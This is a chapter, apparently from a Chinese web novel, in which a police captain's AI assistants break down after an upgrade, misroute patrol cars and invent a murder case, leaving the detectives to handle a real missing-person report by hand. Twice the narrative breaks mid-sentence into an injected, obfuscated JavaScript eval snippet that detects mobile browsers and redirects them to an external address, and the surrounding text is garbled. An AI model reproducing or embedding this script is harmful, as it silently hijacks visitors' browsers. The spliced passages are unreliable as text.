不过还没等楼觅来得及拉住沃洛金细问有关“100%鲜榨芒果冰”的事,艾登急切的叫喊声就从楼下传了上来。沃洛金朝楼觅一个点头匆匆跑下楼,徒留伟大的楼支队长在原地干瞪眼。 楼觅眼瞅沃洛金消失在楼梯尽头的身影,又抬头看了看数字投影屏上疯狂亮起的几十个小红点,权衡了下利弊后,决定专门事还是交由专门干这行的人处理,当下长腿一迈直奔警局四楼,随即一脚踹开了一旁墙上标注着【审讯督查组】的房门。 “老陆!情况紧急,楼下那一摊事就全权交给你们组负责处理,我得跑现场去了!” 说罢,他扭头就跑,完全不顾从背后传来的“我勒个去!什么情况?!你说楼下要我们干吗?”的呼唤,三步并作两步连跑三层楼,再一脚刹在通往地下车库的楼梯入口。楼觅眨巴了两下眼,又转身一溜烟地跑回三楼,一把从法证科室办公大厅的水箱中捞起巴巴托斯的分机,又冲向二楼,薅起半睡半醒中的苍穹主机转身就走。 刚经过一楼大厅,便见艾登驾驶着警车从警局大门口低飞了过去。楼觅见状直奔地下车库,一路飞奔到自己的车位前一个抬手,苍穹【(·ω·)?】地被扔到了车顶;再拉开车门把还在不断往下滴冷却水珠的小型机械章鱼塞进副驾座,紧接着自己也钻进车内。关门、指纹解锁驾驶界面、声控启动。十秒钟后,又一量悬浮着的漆黑警车飞过了警局大门。 “苍穹,导航跟上艾登他们的那辆车;巴巴托斯,汇报今早那个养生顾问被刺身亡案的情报。” 【(`·ω·)ゞ】 【明白。】 顺手打开自动驾驶模式,楼觅这才把全部注意力都集中到了车载投屏上密密麻麻的案件信息上,然后皱紧了眉。 案件本身看上去并不复杂,一名叫做“阮青”的养生顾问被发现在自己居住的公寓内遇刺身亡,初步判断死亡时间发生在今早7到8点。问题出在那间公寓,根据巴巴托斯给到的现场照片和户型资料看,那是一间六边形、纯天蓝色、一居室的超小型公寓。没有厨卫没有卧房,唯一的空间看似囊括了几乎所有功能,但唯独找不到床。哦顺带一提,厨具桌椅衣柜马桶……诸如此类统统一概没有,就好像这只是个蓝色的空房间,除了地板上多出的一具新鲜尸体。 好怪,现在的极简装修风格都升级到这种地步了吗?啥啥都不要,困了直接往地上一躺? 楼觅对此表示不是十分的理解。 “巴巴托斯,你确定是的的确确死了人,而不是打哪来的疯子在搞什么行为艺术吧?” 机械章鱼翘起一条触须朝他行了个礼。 ……行吧。想必AI也不会在这种基础问题上给自己添岔—— “砰!” 一瞬间,楼觅的几乎整个身躯都被车辆的惯性抛向正前方,然后安全带和随即弹出的安全气囊又把人死死按在了椅背上,近乎动弹不得。 “……巴巴托斯。”楼觅挣扎着呼唤道。 章鱼的金属触须沿着大腿攀爬了上来,三下五除二地解除了楼觅身上的双重束缚。被戳了个洞的安全气囊塌卸了下来,楼觅深呼吸了一口新鲜空气,随即干咳了几声:“咳咳……什么情况,这车的自动驾驶又故障了?” 万幸的是自己人好像没事。楼觅头脑清醒、动作麻利地迅速检查了一遍全身,很好,都没折。 在得到苍穹【车辆基本完好,除保险杠出现27%的变形】车检结果汇报后,楼觅这才重重呼出一口气。拿防弹车当警车使,局长真那啥的有先见之明! 他拉开车门走下车来,想要仔细瞅瞅被撞上的倒霉玩意。 哦,是隔离杆。 ……隔离杆?! 楼觅赶忙回头瞅向警车,发现整辆车竟然在他盯着投影屏分析案情时自个飞上了人行道! 这导航不对啊! 他顾不上围观人群的指指点点,从车座背后掏出平板,加载导航界面一看,顿时眼前直接一黑。 “苍穹!你最好能给我个合理的解释!” 楼觅从车内钻出,一把扑向车顶上方的AI专座。“让你跟着艾登的车,沿他们经过的路线走,怎么会把车导上人行道的?!” 感谢上天,他在问这句话时及时佩戴上了蓝牙耳机,几秒钟后,属于苍穹的那道轻快机械音在他耳畔响起:【回楼觅支队长,本机严格遵循了您的指示,我们的确是在沿艾登副支队长所在车辆经过的路线前行。一点也没有问题。】 楼觅气得想笑:“你是想说,他们的车也上了人行道,甚至撞上了同一根隔离杆吗?”玩笑也不是这么—— 后面的话随着他目光的平移被噎回了肚内。 被撞的那根倒霉隔离杆上,在距离被保险杆撞出的凹槽正下方0.03米处,有着一个同样尺寸大小,但深浅程度更大的凹槽。 接着,他的耳侧捕捉到了围观人群中传来的几句关键话。 “天啊,这才几分钟连撞两辆车。撞邪了吗?” “可能是地上有油?” “你瞎啦,撞上的都是磁悬浮,尤其是先前那一辆,飞的那叫一个快呐!” ……啊,是这么回事。楼觅想。 ……哦,原来是这么回事。楼觅又想。 随后他回过头,一把死死握住苍穹的小圆球体,面无表情地盯着它:“警局内的所有车辆都装备了你的分机,所以出问题的是你的导航。”他把“导航”两字说得格外咬牙切齿,话音刚落又猛然想到了各巡逻警员们遭遇的混乱场面,再次质问道:“怪不得巡逻小队会乱成那样,原来都是你干的好事!” 他用力晃动手上的圆球,恨不得将其中的冷却液统统晃出来:“说!这到底是怎么一回事苍穹?!我记得你半小时前刚做的检修,升级了新系统而不是中了病毒!” 【本机的导航系统没有任何故障。本机有按照最新辖区交通线路图进行线路规划。本机没有错!】 听着AI理直气壮的回话,楼觅一点也不去看它显示屏上那张【(#><)】的“脸”。 “没有错你个大头鬼!” 楼觅按下AI身上的圆形开关,迫使苍穹现场投影出了它“口中”所谓的“最新辖区交通线路图”,一眼下去,果不其然就发现了至少37处标绘错误。 “中心商业街位于辖区的东面而不是西面;第三大道紧挨着的是安平路15路口;剧院广场附近就没有允许笔直通行的马路;44号公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124359|164322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路……9号辖区就没有什么44号公路!” 他一边对着投影怒喷不止,一边掏出手机想要紧急联络艾登或者陆昭华,结果二人的文字版通讯抢先一步杀到了他的面前。 【路上出了点小意外,人和车都没伤到。我们直接去现场,劳驾楼你帮忙联络下技术部那边,配备的铁疙瘩多半是抽疯了。By艾登】 【楼觅,为何我接到的所有汇报都显示是巡逻路线规划错误导致?苍穹甜点吃傻了?基础结论已上报至技术部,林岚正处理中。话说你没事吧?By陆昭华】 看着两则通讯上的内容,心中的预感落地,楼觅着实说不上是喜还是悲。他分别给二人发了回复信息,然后疏散人群,拎起苍穹连同自己一道塞入车内,紧接着一个电话拨给了林岚。 “林博士,我需要一个解释。”楼觅开门见山地说。 通话那端传来林岚清冷的嗓音:“我大体明白你想说什么。我们正在抓紧时间核对苍穹留在局里的云端数据库,但它主机机体不在,无法更具针对性地做进一步检查。” 楼觅闻言,扭头看向气鼓鼓同巴巴托斯一道待在副驾座上的圆球,一时间感到十万分的头疼。 “……抱歉,我这边的案件紧急所以……先不说这个,博士你可以判断出大概是哪方面出的问题吗?” “在全部检测结果出来前,我不能做判断。”在楼觅看不到的技术部检测室内,林岚按压着自己的眉心,“我只能客观地怀疑,可能是系统升级新版本后和AI的原有程序不兼容所致。南丁格尔也出现故障了,它把关闭舱门与执行解剖程序挂了等号,一名技术员险些惨遭毒手。再结合苍穹的导航故障,我有理由怀疑这种不兼容性可能出现在了所有AI体内。” “所以,你是指……”楼觅愣愣地听完林岚的推测,把目光放到了在旁安静吃瓜的机械章鱼身上,内心涌出一丝不祥的预感。 “等检测完苍穹的数据库,我就去给巴巴托斯做个全面检查。但愿只是我想多了,至少从目前情况看,荷鲁斯身上并没有出现任何可疑情况。” 但这并不能成为安慰楼觅的理由。 正说着,楼觅听见通话那头有人在远远高喊:“林博士!小吴要跳楼啦!说是都是因为自己技术实力不足才导致——” “都跟他说了那不干他的事!给我赶紧的把人拦住!才三楼跳个屁跳!有能耐给我上科研所十楼往下蹦去!!……不好意思楼队,出了点小事故,已经解决了。等检测结果一出我们再联系。” “……哦。” 楼觅听着那端的林岚彬彬有礼地挂断了通话,就好像刚才对着不省心下属发飙的人不是她一样,嘴角不由得一阵抽搐。他把手机塞回裤袋,转头看向副驾座上的两只。 “暂时先没你的事。” 他一把把苍穹抛到后座上,不去理会后者拼命拿机体撞椅背的举动,将注意力放到了巴巴托斯身上。 自己之前怎么会没想到呢?这都整上100%的鲜榨芒果冰了。 楼觅的嘴角扯出一缕笑,那表情,任谁看都得说是一脸的狰狞。 “来,现在让我们好好聊聊你的问题。那个‘蓝色房间凶杀案’,到底是个什么东西?” 18. 电子甜品与蓝色房间 换做巴巴托斯的视角,想必以它的算力也无法搞清为什么只是单纯吃个瓜,都能吃到自己身上。更何况它本周的《同类生态日记》还没来得及更新,刚动笔就发现这期做主角的AI变成了自己。 于是它理所当然地表示强烈抗议,结果连触须都没来得及举起一根,就被楼觅镇压在了座椅上。 “巴巴托斯,我问你答。”楼觅带着不容置疑的口吻一字一顿地开口,“今早是谁报的案?” 【……“甜蜜心情”的服务员小姐。】 车载广播里响起委委屈屈的电子音。 楼觅不耐烦地用手拍了一记自己的侧耳:“我挂着耳机呢,直接给我链接耳麦,不要整得像是自己受了什么天大的委屈。哪条大街上的‘甜蜜心情’?” 【西大道格林路旁新开的那家。】 “很好。”楼觅用力咬着自己的后糟牙,“那么麻烦你再告诉我,被害者‘阮青’所在公寓的地址呢?” 【正在查询住宅信息……检索完毕。被害者居住公寓位于东三街道直走尽头码头旁。】 【本机检测到错误定位。东三街道处不存在码头。】苍穹的声音插进了频道。 “闭嘴你这个导航系统故障了的货。东三街道的码头早十年就在那儿了。你再多嘴一句就把我给你的无限畅吃卡吐出来!”楼觅携电子甜品以令AI,效果显著,苍穹一秒钟安静如鸡。 “我们继续。”楼觅把火力又一次集中到了巴巴托斯身上,“那么请问我们的报警人小姐家住哪呢?” 【正在查询住宅信息……检索完毕。报警人居住于西大道凡森小区。】 “那么。敢问我们警局消息最灵通的AI同僚,你觉得是出现了什么突发情况,才导致居住地、工作地都在西区的报警人会在一大清早发现位于东区的凶杀案呢?!” 【本机正在进行深度思考——】 “别给我搁那思考了。我直接问你,难道他俩有亲密关系?” 【正在检索被害人人际关系……检索完毕。回答:否。】 “那就是报警人前一晚上要么在朋友家开party直到清早,要么就是她昨晚喝多了有了一番露水情缘?” 【正在检索沿路监控……检索完毕。回答:否。】 “很好。那么现在,麻烦你再回答一次我之前提出的问题!” 巴巴托斯的语音功能“吱咂”了几声,随后不吱声了。车载投影屏上,无数种可能性被一一列举又被迅速否决。运算到最后,巴巴托斯给出了看似唯一的可能:【她被凶手指示报的警,或她本人即为案件真凶。】 对话进行到这里,哪怕再愚蠢的人类都应该知道,恐怕所谓的“蓝色房间凶杀案”就是个因AI程序故障搞出来的大乌龙事件。给艾登发送了一条【凶杀案疑似不存在】的简易通告后,楼觅双手掩面,一时半会实在不知道该说什么好。他算是发现了,大概所有陷入程序错误的AI,思维逻辑就会直线下降直人类幼儿水平,且有一个算一个,统统固执得很。 于是等李晓燕和搭档马克顺着沿路群众的指引找到楼觅时,车内正上演“AI拒不认错,讲事实摆证据,万般技巧只为证明案件存在。”、“人类生无可恋,论缘由破真相,‘心平气和’用以论证AI所言均为假。”的盛大戏码。 “你不要你认为,那没用。林博士说,了你们几个统统因为兼容性问题导致相关程序故障。所以巴巴托斯,你所谓的现场照片也好,报警信息也罢,就连被害者的身份信息全部都是数据伪造生成,无一例外——啊你俩来啦,问题解决了吗?”楼觅的脸色淡白如纸,看向李晓燕他们的目光脆弱又绝望。 李晓燕见状,吞了吞口水:“回楼队,可能、算是?” 面对顶头上司平静的质疑目光,李晓燕赶忙做出解释:“因为大伙几乎都在导航上栽了跟头,出事故的巡逻小队高达五、六十只,所以陆队的意思是,根据事故的严重性划分出大中小三个等级。我和马克这边……勉强被评了个中等偏上,这会还轮不到我们呢。” 说罢,李晓燕不由得回想起陆昭华在联络他俩时,声音中透露出的一股淡淡的死感,听上去人多半已经跟眼前的楼觅没啥两样了。 在她身旁,马克忍不住插嘴:“楼队,陆队目前忙不过来,让我们带句话给您。今早在东三街道码头那块有人报警这事是真的,但多半不是什么‘蓝色房间凶杀案’。一名来自23号辖区的糖果经销商失踪三天了,是他的房东报的警。” 楼觅的眼里闪过一道微光:“人名不叫‘阮青’吧?” “……不叫。这位经销商的全名是安东尼·布雷萨·B·米哈伊洛维奇·刘。” 楼觅:“……” 马克:“……” 看着搭档和上司大眼瞪小眼的情景,李晓燕拼命用手掐自个方才忍住了笑,就是开口说话时嘴角忍在不停地抽搐。 “那个……楼队?所以我们、现在是直接跑现场吗?” “……你们中的一个跟去就成。剩下那个等待陆昭华的处理结果。”楼觅用手抹了把脸,脸上的疲惫让李晓燕一时分辨不出究竟是谁给他造成的伤害。 “晓燕,我记得你家也在东三街道那边?” “是的,楼队。” 楼觅闻言点点头,招呼她直接上来:“你负责开车,顺带自己给自己导航。罗西,原地待命。” “明白。” “明白~” 警车稳稳地降落在码头。刚一下车,李晓燕怀里就被先一步抵达的艾登副支队抛了个圆咕隆咚的玩意进来。她盯紧一看,果不其然是编号3的苍穹分机。她怜悯地看着这个“眼含热泪”的小东西,然后将它一把塞进了车后座,同苍穹的主机和巴巴托斯一道、被安全带系了个严严实实。 做完这一切,李晓燕拍拍手走到楼觅身后,听他和艾登间的对话。 “林打算怎么处理这些破铁皮?” “目前还在排查故障,再次返厂维修是不愁了的。不过这样一来,我们至少得有一礼拜得不到AI们的帮助。” “那可真是太棒了。” 艾登看上去满脸的高兴,他带领一行人朝失踪人士刘某所居住的公寓方向走去,就连脚步也显得轻快了不少。 “我们刚向房东了解过基本情况,安东尼……算了,还是称呼他为刘吧。刘大约是去年年底跨区过来租的房子,一直以来从事糖果批发、品牌加盟之类生意。三天前他跑西区做买卖,然后就不见人影了。” “房东是怎么发现人不见了的?”楼觅大步跨过一处地面积水,李晓燕则是选择跳了过去。 “据说俩人关系不错,刘作为租客很讲诚信,从不拖欠房租。而且每晚房东都会给他留饭,倘若他需要长时间出门,一定会提前告知,但这次不一样,不但没有告知,就连手机也打不通了。” “考虑过返回23号辖区的可能性吗?” 艾登走在前方耸耸肩:“沃洛金在联系局里,可你知道的——”他扭头朝后方丢了个“你懂的”的眼神,“铁皮们罢工的不是时候,我估计他多半会直接联系对过辖区那边。” “我不记得沃洛金在23区那头有人脉。” “是他女儿的。” 楼觅听闻,简短“哦”了一声就不再说话。 倒是李晓燕对领导们的欲言又止很是好奇,但不管怎么说,人情世故她还是懂点的,看了看楼觅侧脸的面色,李晓燕识相地没有开口。 东大街的码头除了集装箱和货运码头,还林立着诸多大小不一的仓库。考虑到近年来辖区人口的暴增和对住房的市场需求,不少仓库甚至废旧集装箱就被改造成了住房。失踪人员刘某所居住的就是这类房屋中的一种,只不过它是由一家罐头工厂改造而成的,房主也就是房东去掉楼层挑高,硬生生把两层个工厂改成了四层加阁楼的合租房。刑警们头擦着天花板弯腰转进过道,李晓燕数了下每层楼的门数,发现这位精打细算的房东往每层都至少塞了三户人家。 “据房东说,这儿主打的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126967|164322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个社交氛围。” 刘某的房间位于四楼的拐角,艾登和楼觅并肩行走在狭小的楼梯上,低声向后者讲述打听到的消息。李晓燕见状赶紧上前几步挤到他们身后,侧耳倾听两人的对话。 “还社交氛围?真是一点也没看出来。” “阁楼被改造成了公共休息室,各种娱乐设施一应俱全。”艾登一副我已经上去看过了的表情,“据说挺受年轻人欢迎,所以房源一向还算抢手。” “所以我们的刘,也是一名年轻人?” “如果你把超过35岁还能看做是年轻人的话。” 他们一路交谈着很快便来到了编号401房门的入口,大门敞开,房东先生和沃洛金都待在房内。见正副队长进门,沃洛金率先迎了上来,李晓燕眼尖地看到他把疑似手机塞回了怀里。 “跟23号辖区的人联络上了,关卡那边没有发现疑似失踪人员的踪迹。” 楼觅:“码头和航空公司那边呢?还有刘的家里?” 沃洛金努努嘴:“你知道的楼,我们人类的工作效率比不上AI,今晚能拿到结果就谢天谢地了。至于他家那边,只能交由对过辖区警局负责,陆昭华说会让局长直接联系。” 艾登闻言露出了一丝不高兴:“嗨,沃洛金,我刚才和楼称赞过AI不在的美好日子,你不能直接上来就打我的脸。” “就算不喜欢和它们一起工作,但事实就是事实。别忘了三年前的那些悲惨日子我们是怎么过的。看在效率和过劳死的份上,我们还是希望它们早日重返岗位来的好。” 这话说的在理,毕竟从今天开始往后数7天,他们也要过上曾经那些痛不欲生的日子了。李晓燕为自己和警局里的各位同僚抹了把辛酸泪,艾登虽然脸还是很臭,但也成功住了嘴。 “晓燕。” 从前方传来楼觅的呼唤声,李晓燕急急忙忙地挤进客厅,发现对方正站在房东的面前,一副打算进行问询的模样,她赶紧掏出平板,在一旁充当起了记录员的角色。 “安东尼……好吧,刘先生。请问您最后一次看到刘先生大概是3天前的什么时候?” “刚过午饭的点。”房东仔细想了想,“差不多13:30不到些吧。” “那他当时的穿着打扮如何?” “呃,就是他通常跑生意的打扮,正装加皮鞋的那种。” 李晓燕手指在平板上戳了半天,痛苦地发现不太跟得上两人对话的速度。换做是平日里链接上苍穹或者巴巴托斯,它们还能协助进行速记和语入。但现在所有的场外辅助和外挂统统被禁,她只得零星记录下几个重点单词,并悲伤地希望稍后自己还看得懂它们所在句子代表的意思。 那头,楼觅的问询还在继续:“刘先生有对您提起过这回他去西区打算见谁吗?” 憨厚的房东摇摇头:“他一般不多提他生意上的事。只不过看他那天兴冲冲的样子,多半是件大单。” 是大单那就好办了。不管对方是否就是造成失踪的元凶,想要伪装成有财力的商人或商户,留下的痕迹就不会少,更何况人从出门到现在才过去三天,痕迹也不容易消除。只要让巴巴托斯接入税务系统和各大银行账户记录—— 哦,他差点忘了,巴巴托斯正因故禁闭中。那就让苍穹及时跑一趟—— 哦,苍穹也在禁闭来着。 那只能按部就班地吩咐下属警员前往税务局、各大银行人力进行调查,虽然让对方把资料沿网络直接发到警局也可以,但打三年前起,警局的内网就和AI的数据库串联在了一起,并由荷鲁斯负责统一监管。没人能保证目前疑似唯一幸存AI的荷鲁斯会不会也开始犯病。 别忘了还有前往航空港、船运公司的人员,跨区前往23号辖区的人手。考虑到警局目前混乱的状态,这个时候能抽调的警力就只剩——老天! 楼觅脸上再一次透露出淡淡的死感,他觉得沃洛金话说得十分精确,没有AI在旁协助的痛苦日子,才刚开始他就有点坚持不下去了。